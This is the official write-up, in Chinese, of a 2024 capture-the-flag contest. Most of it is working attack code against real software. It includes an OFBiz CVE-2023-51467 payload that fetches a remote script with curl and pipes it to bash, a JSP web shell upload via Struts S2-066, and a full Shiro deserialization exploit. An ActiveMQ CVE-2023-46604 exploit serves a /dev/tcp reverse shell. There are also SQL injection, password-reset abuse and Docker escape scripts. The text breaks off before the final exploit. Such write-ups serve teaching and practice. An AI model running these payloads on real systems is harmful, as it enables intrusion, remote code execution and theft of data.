【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!
长亭科技 2024-02-04 18:18 河南
这篇很长、但料很足,建议留个整时间,沉浸式食用😋

Clone-and-Pwn, difficulty:Baby
由于提供了附件,可以使用如下命令在本地启动一个服务
docker build . -t rwctf:be-a-framework-hackerdocker run --rm -p 8443:8443 rwctf:be-a-framework-hacker
这题主要考察的漏洞是CVE-2023-51467,通过?USERNAME=&PASSWORD=&requirePasswordChange=Y绕过鉴权。绕过鉴权之后可以执行 groovy 表达式, 这里使用的是 groovy 的 "".execute()语法来执行命令,绕过沙箱,具体 payload 如下
POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1Host: 127.0.0.1:8443Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.123 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 81groovyProgram=["sh","-c","curl http://igr3yxom.requestrepo.com | bash"].execute()

curl http://requestrepo.com/igr3yxom/ --data $(/readflag)
Web, difficulty:Baby
这里考察的是 s2-066 ,提供了附件下载下来之后,可以进行代码审计
在 be.more.elegant.filter.JspFilter#doFilter 中限制了 jsp 访问路径只能是 /view 开头的,其他路由的 jsp 是无法访问的。

be.more.elegant.HeaderIconAction#doUpload这个方法对应的路由是/upload.action,

由于 s2 的限制,正常上传的文件名是无法包含 .. 的。所以我们通过 s2 066 这个漏洞,由于 s2 对于大小不敏感,所以我们可以使用如下 payload 去对 fileUploadFileName 进行二次赋值,让实际的 fileUploadFileName 内容为 ../../../views/a.jsp ,这样就可以通过跨目录写 jsp 到 views 目录下。
ps: 这里要注意在使用这个包之前需要上传一个正常的文件,保证 md5 的目录可以创建出来。因为 ../ 在 linux 系统下是无法跳到一个不存在的目录的。
POST /upload.action;jsessionid=D2DF7842CD2DEA1BE82A7300A134F655 HTTP/1.1User-Agent: PostmanRuntime/7.36.1Accept: */*Host: 192.168.144.1:8081Accept-Encoding: gzip, deflate, brConnection: closeContent-Type: multipart/form-data; boundary=--------------------------319187937788325310215959Content-Length: 1737----------------------------319187937788325310215959Content-Disposition: form-data; name="FileUpload"; filename="a.jsp"Content-Type: application/octet-stream<%@ page language="java" contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%><%@ page import="java.io.*" %><!DOCTYPE html><html><head><title>Command Execution</title></head><body><%String command = request.getParameter("a");if (command != null && !command.isEmpty()) {String output = "";try {Process process = Runtime.getRuntime().exec(command);BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));String line;while ((line = reader.readLine()) != null) {output += line + "<br>";}reader.close();int exitCode = process.waitFor();if (exitCode != 0) {output += "Command execution failed with exit code: " + exitCode;}} catch (IOException | InterruptedException e) {output += "Error executing command: " + e.getMessage();}out.println("<p>Executed command: " + command + "</p>");out.println("<p>Output:</p>");out.println("<pre>" + output + "</pre>");} else {out.println("<p>No command provided.</p>");}%></body></html>----------------------------319187937788325310215959Content-Disposition: form-data; name="fileUploadFileName"../../../views/a.jsp----------------------------319187937788325310215959--
Web, difficulty:Normal
使用以下 docker-compose 文件搭建
version: '3.3'services:nginx:image: nginx:1.20.1ports:- "0.0.0.0:8888:8888"volumes:- ./nginx.conf:/etc/nginx/nginx.confnetworks:- internal_network- out_networkbackend:build:context: ./backenddockerfile: Dockerfilenetworks:- internal_networknetworks:internal_network:internal: trueipam:driver: defaultout_network:ipam:driver: default
其中 nginx 主要是将 java 的端口代理出来,里面的 backend 服务是一个 shiro550 的漏洞环境,配置为不出网。
首先分析 oldshiro 这个 jar 包,可以看到其设置了最大的 header 长度为 3000

由于目标配置的是不出网的场景,因此我们需要考虑使用不出网的手法来进行 RCE,且 cookie 不能太大。
如果使用网上的工具基本上 cookie 都会大于 3k
可以参考这两篇文章
https://mp.weixin.qq.com/s?__biz=Mzk0MTIzNTgzMQ==&mid=2247489588&idx=1&sn=0aa89b8828dc3e058ddbef69e2980790&chksm=c2d4d32cf5a35a3a54d164198cf7a29bea915a8c0e00d76d47231090cec35630f393ecd5d89d&scene=21
稍微处理一下 template 的构造方式就可以了,poc 如下
package org.example;import com.nqzero.permit.Permit;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.beanutils.BeanComparator;import org.objectweb.asm.*;import javax.crypto.BadPaddingException;import javax.crypto.Cipher;import javax.crypto.IllegalBlockSizeException;import javax.crypto.NoSuchPaddingException;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.io.*;import java.lang.reflect.AccessibleObject;import java.lang.reflect.Field;import java.math.BigInteger;import java.net.URLEncoder;import java.security.*;import java.util.Base64;import java.util.PriorityQueue;public class Main {public static void main(String[ ] args) throws Exception {String key = "kPH+bIxk5D2deZiIxcaaaA==";String javaCode = "Object attr = java.lang.Class.forName(\"org.springframework.web.context.request.RequestContextHolder\").getMethod(\"currentRequestAttributes\", new java.lang.Class[ ]{}).invoke(null,null);" +"Object resp = attr.getClass().getMethod(\"getResponse\", null).invoke(attr, null);" +"String flag = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get(\"/flag\", new java.lang.String[ ]{})));" +"resp.getClass().getMethod(\"addHeader\", new java.lang.Class[ ]{java.lang.String.class, java.lang.String.class}).invoke(resp, new java.lang.Object[ ]{\"r\", flag});";Object cbGadget = getCbGadget(javaCode);byte[ ] cbGadgetBytes = Serialization.serialize(cbGadget);String s = doShiroEncryption(cbGadgetBytes, key);System.out.println("Cookie length: " + s.length());System.out.println("Cookie is: " + s);}public static byte[ ] base64Decode(String key) {return Base64.getDecoder().decode(key);}public static String base64Encode(byte[ ] key) {return Base64.getEncoder().encodeToString(key);}public static String urlEncode(String key) throws UnsupportedEncodingException {return URLEncoder.encode(key, "UTF-8");}public static String doShiroEncryption(byte[ ] content, String keyInBase64) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {byte[ ] key = base64Decode(keyInBase64);byte[ ] iv = generateRandomIv();Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");Key keySpec = new SecretKeySpec(key, "AES");IvParameterSpec ivSpec = new IvParameterSpec(iv);cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);byte[ ] encrypted = cipher.doFinal(content);byte[ ] cipherText = new byte[iv.length + encrypted.length];System.arraycopy(iv, 0, cipherText, 0, iv.length);System.arraycopy(encrypted, 0, cipherText, iv.length, encrypted.length);return base64Encode(cipherText);}private static byte[ ] generateRandomIv() throws NoSuchAlgorithmException {byte[ ] iv = new byte[16];SecureRandom random = SecureRandom.getInstance("SHA1PRNG");random.nextBytes(iv);return iv;}public static Object getCbGadget(String javaCode) throws Exception {final Object templates = Gadgets.createTemplatesImpl(javaCode);// mock method name until armedfinal BeanComparator comparator = new BeanComparator("lowestSetBit");// create queue with numbers and basic comparatorfinal PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);// stub data for replacement laterqueue.add(new BigInteger("1"));queue.add(new BigInteger("1"));// switch method called by comparatorReflections.setFieldValue(comparator, "property", "outputProperties");// switch contents of queuefinal Object[ ] queueArray = (Object[ ]) Reflections.getFieldValue(queue, "queue");queueArray[0] = templates;queueArray[1] = templates;return queue;}public static class Serialization {public static byte[ ] serialize(Object obj) throws IOException {final ByteArrayOutputStream out = new ByteArrayOutputStream();serialize(obj, out);return out.toByteArray();}public static void serialize(Object obj, OutputStream out) throws IOException {final ObjectOutputStream objOut = new ObjectOutputStream(out);objOut.writeObject(obj);}}public static class Gadgets {public static Object createTemplatesImpl(final String command) throws Exception {if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {return createTemplatesImpl(command,Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));}return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);}public static <T> T createTemplatesImpl(final String javaCode, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)throws Exception {final T templates = tplClass.newInstance();ClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(abstTranslet));final CtClass clazz = pool.makeClass("StubTransletPayload");clazz.makeClassInitializer().insertAfter(javaCode);clazz.setName("ysoserial.Pwner" + System.nanoTime());CtClass superC = pool.get(abstTranslet.getName());clazz.setSuperclass(superC);byte[ ] classBytes = clazz.toBytecode();// inject class bytes into instanceclassBytes = shortenClassBytes(classBytes);byte[ ] fooBytes = shortenClassBytes(ClassFiles.classAsBytes(Foo.class));Reflections.setFieldValue(templates, "_bytecodes", new byte[ ][ ]{classBytes, ClassFiles.classAsBytes(Foo.class)});// required to make TemplatesImpl happyReflections.setFieldValue(templates, "_name", "1");Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());return templates;}}public static class ClassFiles {public static String classAsFile(final Class<?> clazz) {return classAsFile(clazz, true);}public static String classAsFile(final Class<?> clazz, boolean suffix) {String str;if (clazz.getEnclosingClass() == null) {str = clazz.getName().replace(".", "/");} else {str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();}if (suffix) {str += ".class";}return str;}public static byte[ ] classAsBytes(final Class<?> clazz) {try {final byte[ ] buffer = new byte[1024];final String file = classAsFile(clazz);final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);if (in == null) {throw new IOException("couldn't find '" + file + "'");}final ByteArrayOutputStream out = new ByteArrayOutputStream();int len;while ((len = in.read(buffer)) != -1) {out.write(buffer, 0, len);}return out.toByteArray();} catch (IOException e) {throw new RuntimeException(e);}}}public static class Foo implements Serializable {private static final long serialVersionUID = 8207363842866235160L;}public static class Reflections {public static void setAccessible(AccessibleObject member) {String versionStr = System.getProperty("java.version");int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);if (javaVersion < 12) {// quiet runtime warnings from JDK9+Permit.setAccessible(member);} else {// not possible to quiet runtime warnings anymore...// see https://bugs.openjdk.java.net/browse/JDK-8210522// to understand impact on Permit (i.e. it does not work// anymore with Java >= 12)member.setAccessible(true);}}public static Field getField(final Class<?> clazz, final String fieldName) {Field field = null;try {field = clazz.getDeclaredField(fieldName);setAccessible(field);}catch (NoSuchFieldException ex) {if (clazz.getSuperclass() != null)field = getField(clazz.getSuperclass(), fieldName);}return field;}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = getField(obj.getClass(), fieldName);field.set(obj, value);}public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {final Field field = getField(obj.getClass(), fieldName);return field.get(obj);}}public static byte[ ] shortenClassBytes(byte[ ] classBytes) {ClassReader cr = new ClassReader(classBytes);ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);int api = Opcodes.ASM7;ClassVisitor cv = new ShortClassVisitor(api, cw);int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;cr.accept(cv, parsingOptions);byte[ ] out = cw.toByteArray();return out;}public static class ShortClassVisitor extends ClassVisitor {private final int api;public ShortClassVisitor(int api, ClassVisitor classVisitor) {super(api, classVisitor);this.api = api;}@Overridepublic MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[ ] exceptions) {MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);return new ShortMethodAdapter(this.api, mv);}}public static class ShortMethodAdapter extends MethodVisitor implements Opcodes {public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {super(api, methodVisitor);}@Overridepublic void visitLineNumber(int line, Label start) {// delete line number}}}
pom.xml 如下
<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>org.example</groupId><artifactId>OldShiroSolution</artifactId><version>1.0-SNAPSHOT</version><properties><maven.compiler.source>8</maven.compiler.source><maven.compiler.target>8</maven.compiler.target><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding></properties><dependencies><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.29.2-GA</version></dependency><dependency><groupId>com.nqzero</groupId><artifactId>permit-reflect</artifactId><version>0.3</version></dependency><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version></dependency><dependency><groupId>commons-beanutils</groupId><artifactId>commons-beanutils</artifactId><version>1.9.2</version></dependency><dependency><groupId>org.ow2.asm</groupId><artifactId>asm-tree</artifactId><version>7.3.1</version></dependency></dependencies></project>
发包如下
GET /doLogin HTTP/1.1Host: 121.40.80.33:8888Cookie: rememberMe_rwctf_2024=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-Insecure-Requests: 1

Clone-and-Pwn, difficulty:Baby
环境搭建
使用以下 docker-compose 文件搭建环境
version: '3.3'services:activemq:container_name: activemqports:- '61616:61616'image: lewinc/activemq:5.18.2
解题
使用 CVE-2023-46604 进行攻击即可,使用 org.springframework.context.support.ClassPathXmlApplicationContext
java 脚本如下
package exps;import java.io.*;import java.net.Socket;public class ActiveMqThrowableExp {public static void main(String[ ] args) throws IOException {String ip = "target-ip-address";int port = 61616;String remoteXmlUrl = "http://your-http-server:9999/evil.xml";Socket sck = new Socket(ip, port);DataOutputStream out = null;DataInputStream in = null;out = new DataOutputStream(new BufferedOutputStream(new FileOutputStream("test.txt")));out.writeInt(32);out.writeByte(31);out.writeInt(1);out.writeBoolean(true);out.writeInt(1);out.writeBoolean(true);out.writeBoolean(true);out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");out.writeBoolean(true);out.writeUTF(remoteXmlUrl);out.close();in = new DataInputStream(new BufferedInputStream(new FileInputStream("test.txt")));OutputStream os = sck.getOutputStream();int length = in.available();byte[ ] buf = new byte[length];in.readFully(buf);os.write(buf);in.close();sck.close();File file = new File("test.txt");file.delete();}}
然后在恶意服务器上分别启动一个 nc 用来收反弹 shell,另一个启动 http 服务用来提供 xml,注意下面的 value 是 html entity 编码后的,可以解码后替换为接受 shell 的 ip 和端口即可收到反弹shell
提供的 xml 如下
注意需要修改实体编码中的localhost为你的接收端主机
<?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>/bin/bash</value><value>-c</value><value>/bin/bash -i >& /dev/tcp/localhost/9999 0>&1</value></list></constructor-arg></bean></beans>
远程收到shell,获取flag

Web, difficulty:Baby
使用 \N 的方法绕过内置过滤,读取 flag 表中的 flag_value 字段:
/tags.php?/alias/aaaaaaa%27||+1=\Nunion+select+1,flag_value,3,4,5,6,7,8,0,10,11+from+flag+where+1=%271Web, difficulty:Normal
这个题目在首页提供了部分的源码,可以看出来是 django 的 wagtail 框架。主要是一个允许重置密码的功能,这里可以通过验证码得到其路由是/captcha/image/566babcf709fa2482d8dec2b71fd930474c8b34c/对此比较敏感的同学可以想到这个是一个 django 的验证码依赖 django-simple-captcha
通过信息搜集可以知道管理员的邮箱是admin@rwctf.game,图片的 seed 为566babcf709fa2482d8dec2b71fd930474c8b34c ,图片的 size 为 78 x 31

这个题目可以看作是 JumpserverCVE-2023-42820Lite 版本
ps: 这里需要对下面的脚本里面的 CAPTCHA_IMAGE_SIZE 进行修改,将其改成图片的大小
命令如下
python .\run.py -t http://121.40.246.97:39968/ --name admin --email admin@rwctf.game --seed 566babcf709fa2482d8dec2b71fd930474c8b34c --cscookie 60D8JJuDvGCCauRifigL5ycFXR1NPPd3 --cstoken pWB0Zc9JkmV9KrLzEjDpG9KzUME1OkLYlM4YyLtcFSnBKLsHJrJ0BxM4HtvEtZOR脚本:
import loggingimport sysimport randomimport stringimport argparsefrom urllib.parse import urljoinlogging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'import requests_htmlimport urllib3urllib3.disable_warnings()session = requests_html.HTMLSession()session.headers = {"Connection": "close","Cache-Control": "max-age=0","User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.30 Safari/537.36","Accept-Encoding": "deflate","Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",}session.verify = Falsesession.proxies = {'http':"http://127.0.0.1:48080",'https': "http://127.0.0.1:48080",}def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):args_names = ['lower', 'upper', 'digit', 'special_char']args_values = [lower, upper, digit, special_char]args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]args_string_map = dict(zip(args_names, args_string))kwargs = dict(zip(args_names, args_values))kwargs_keys = list(kwargs.keys())kwargs_values = list(kwargs.values())args_true_count = len([i for i in kwargs_values if i])assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'can_startswith_special_char = args_true_count == 1 and special_charchars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])while True:password = list(random.choice(chars) for i in range(length))for k, v in kwargs.items():if v and not (set(password) & set(args_string_map[k])):# 没有包含指定的字符, retrybreakelse:if not can_startswith_special_char and password[0] in args_string_map['special_char']:# 首位不能为特殊字符, retrycontinueelse:# 满足要求终止 while 循环breakpassword = ''.join(password)return passworddef nop_random(seed: str):CAPTCHA_IMAGE_SIZE = (78, 31) # Change Thissize = CAPTCHA_IMAGE_SIZErandom.seed(seed)for i in range(4):random.randrange(-35, 35,1)for p in range(int(size[0] * size[1] * 0.1)):random.randint(0, size[0])random.randint(0, size[1])def fix_seed(target: str, seed: str):def _request(i: int, u: str):logging.info('send %d request to %s', i, u)response = session.get(u, timeout=5)assert response.status_code == 200assert response.headers['Content-Type'] == 'image/png'url = urljoin(target, '/captcha/image/' + seed + '/')for idx in range(0,1):_request(idx, url)def send_code(target: str, name:str,email: str,args):url = urljoin(target, "/reset-password/" )session.headers['Cookie'] ="csrftoken="+args.cscookieresponse = session.post(url, data={'email': email,'username': name,'csrfmiddlewaretoken': args.cstoken,}, allow_redirects=False,headers=session.headers)assert response.status_code == 200logging.info("send code headers: %r response: %r", response.headers, response.text)def do_setup_password(target: str):url = urljoin(target, "/do-reset-password/" )response = session.get(url,allow_redirects=False)logging.info("send code headers: %r response: %r", response.headers, response.text)def main(target: str,name:str, email: str, seed: str,args):fix_seed(target, seed)nop_random(seed)send_code(target, name,email,args)do_setup_password(target)code = random_string(6, lower=False, upper=False)print(code)# logging.info("your code is %s", code)if __name__ == "__main__":parser = argparse.ArgumentParser(description='Process some integers.')parser.add_argument('-t', '--target', type=str, required=True, help='target url')parser.add_argument('--name', type=str, required=True, help='account name')parser.add_argument('--email', type=str, required=True, help='account email')parser.add_argument('--seed', type=str, required=True, help='seed from captcha url')parser.add_argument('--cscookie', type=str, required=True, help='csrf cookie')parser.add_argument('--cstoken', type=str, required=True, help='csrf token')args = parser.parse_args()main(args.target,args.name, args.email, args.seed,args)

这里可以得到验证码为: 788593

使用重置好的密码进行登录,即可在后台获取flag

Web, difficulty:Baby
直接使用 jenkins-cli 利用即可:
java -jar jenkins-cli.jar -s http://xxxx/ -http who-am-i "@/flag"
Pwn, difficulty:Normal
这个题目的出题思路来自于:https://www.anquanke.com/post/id/290540 这篇文章。选手成功通过 ssh 成功连接上环境后,会发现这是一个容器环境,而且通过 ps -aux
命令能看到这个容器的启动命令:
1000 1113 0.0 0.0 6188 992 pts/0 S+ 06:25 0:00 sleep 100001000 1114 0.0 2.3 1180376 23264 pts/0 Sl+ 06:25 0:00 docker run --rm -it --pid=host --security-opt=apparmor=unconfined ubuntu bash
可以发现该容器共享了 pid, 因此能通过 ps命令看到容器外的进程。此外还有一个 uid 为 1000 的 sleep 进程。 预期解法如下:
#!/bin/shpid=$(pidof sleep)useradd -u 1000 usersu user -c "cat /proc/$pid/root/flag1"
创建一个 uid 为 1000 的用户, 然后通过读 sleep 进程下的 /proc/$PID/root 的文件就能读到 flag。
Misc, difficulty:Baby
当成功获取 Be-a-Docker-Escaper-4的容器外权限后, 我们可以先把权限提升到root, 通过题目描述,我们需要找到 user这个用户的密码。 最终可以在 cloud init的目录下找到 user-data.txt里面存储了 cloud init的配置文件, 能找到一个明文密码, 完整的利用如下:
#!/bin/shapt updateapt install docker.iopid=$(pidof sleep)groupadd -g 1001 useruseradd -m -g 1001 -u 1000 usergroupadd -g 1000 docker # modify /etc/group# root@e2bbe4774805:/# cat /etc/group | grep docker# docker:x:1000:userusermod -aG docker usersu user -c "cat /proc/$pid/root/flag1"su userpid=$(pidof sleep)docker -H unix:///proc/$pid/root/run/docker.sock run -it --privileged ubuntu bash# docker -H unix:///proc/$pid/root/run/docker.sock ps -a# ---- The commands running in the privileged container are as follows ----# mkdir /tmp/a# mount /dev/sda1 /tmp/a# chmod 777 /tmp/a/var/lib/cloud/instances/*/user-data.txt# cat /tmp/a/var/lib/cloud/instances/*/user-data.txt |grep rwctf

Pwn, difficulty:Baby
连上之后会发现这是一个 Restricted shell , 其支持的命令有如下:
ping, uname, pwd, date, whoami, poweroff, id, showKey, openthedoor预期的题目解法是通过逆向发现, 判断是否合法的命令的时候的代码如下:
len = strlen(s2);if ( len ){v7 = 0;v10 = support_command_list[0];while ( strncmp(v10, s2, len) ){v10 = support_command_list[++v7];if ( !support_command_list[v7] ){strcpy(a2, "Not Support 4. \n");return __readfsqword(0x28u) ^ v23;}}
其中 s2 是用户的输入, 因此会发现strncmp的第三个参数也是用户可控的,因此这里有个经典的截断问题。当我们输入 sh的时候, 会出现这样的情况: strncmp("showKey", "sh", 2), 因此我们可以通过如下的方法获取 flag
sh -c "cat ./flag"
此外我们发现有些选手用了 date -f /flag 的方法读到了 flag。
Pwn, difficulty:Normal
这个题目直接使用了开源代码https://github.com/bnlf/httpd/。这份代码存在至少两个漏洞:
1. 跨目录读取文件。攻击者传入的文件路径未做任何处理直接拼接,通过../可以实现任意文件读取。因为权限问题该漏洞不能直接读取flag,但可以被用来读取/proc/[httpd-pid]/maps实现信息泄露。
// https://github.com/bnlf/httpd/blob/master/src/httpd.c#L69strcpy(fileBuffer, WWW_ROOT);// Arquivo do requestif(req.uri) {strcat(fileBuffer, req.uri);}// Se terminado em /, abre o arquivo padraoif(strcmp(&fileBuffer[strlen(fileBuffer)-1], "/") == 0) {strcat(fileBuffer,"index.html");}// Verifica se arquivo existe no servidorif(stat(fileBuffer, &st) == -1) {res.status = 404; // File not Foundres.fileName = "404.html";} else {res.status = 200; // okres.fileName = fileBuffer;}
2. 栈溢出。以下代码的while循环会将HTTP body中的键值对按照<tr><td>%s</td>和<td>%s</td></tr>的格式进行扩展,然后拷贝到栈上固定长度(MAXLINE)的缓冲区中。这里虽然原始输入的长度不能超过MAXLINE,但多次循环、经过扩展后最终的长度可以超过MAXLINE,发生栈溢出。
// https://github.com/bnlf/httpd/blob/master/src/httpd.c#L183char buffer[MAXLINE];//Prepara cabecalho HTMLsprintf(buffer, "<html><head><title>Submitted Form</title></head>");//Cria bodystrcat(buffer, "<body><h1>Received variables</h1><br><table>");strcat(buffer, "<tr><th>Variables</th><th>Values</th></tr>");char * pch;char temp[250];pch = strtok (linePost,"&=");while (pch != NULL){sprintf(temp, "<tr><td>%s</td>", pch);strcat(buffer, temp);pch = strtok (NULL, "&=");sprintf(temp, "<td>%s</td></tr>", pch);strcat(buffer, temp);pch = strtok (NULL, "&=");}
两个漏洞连用,攻击者可以实现任意代码执行。exploit代码如下:
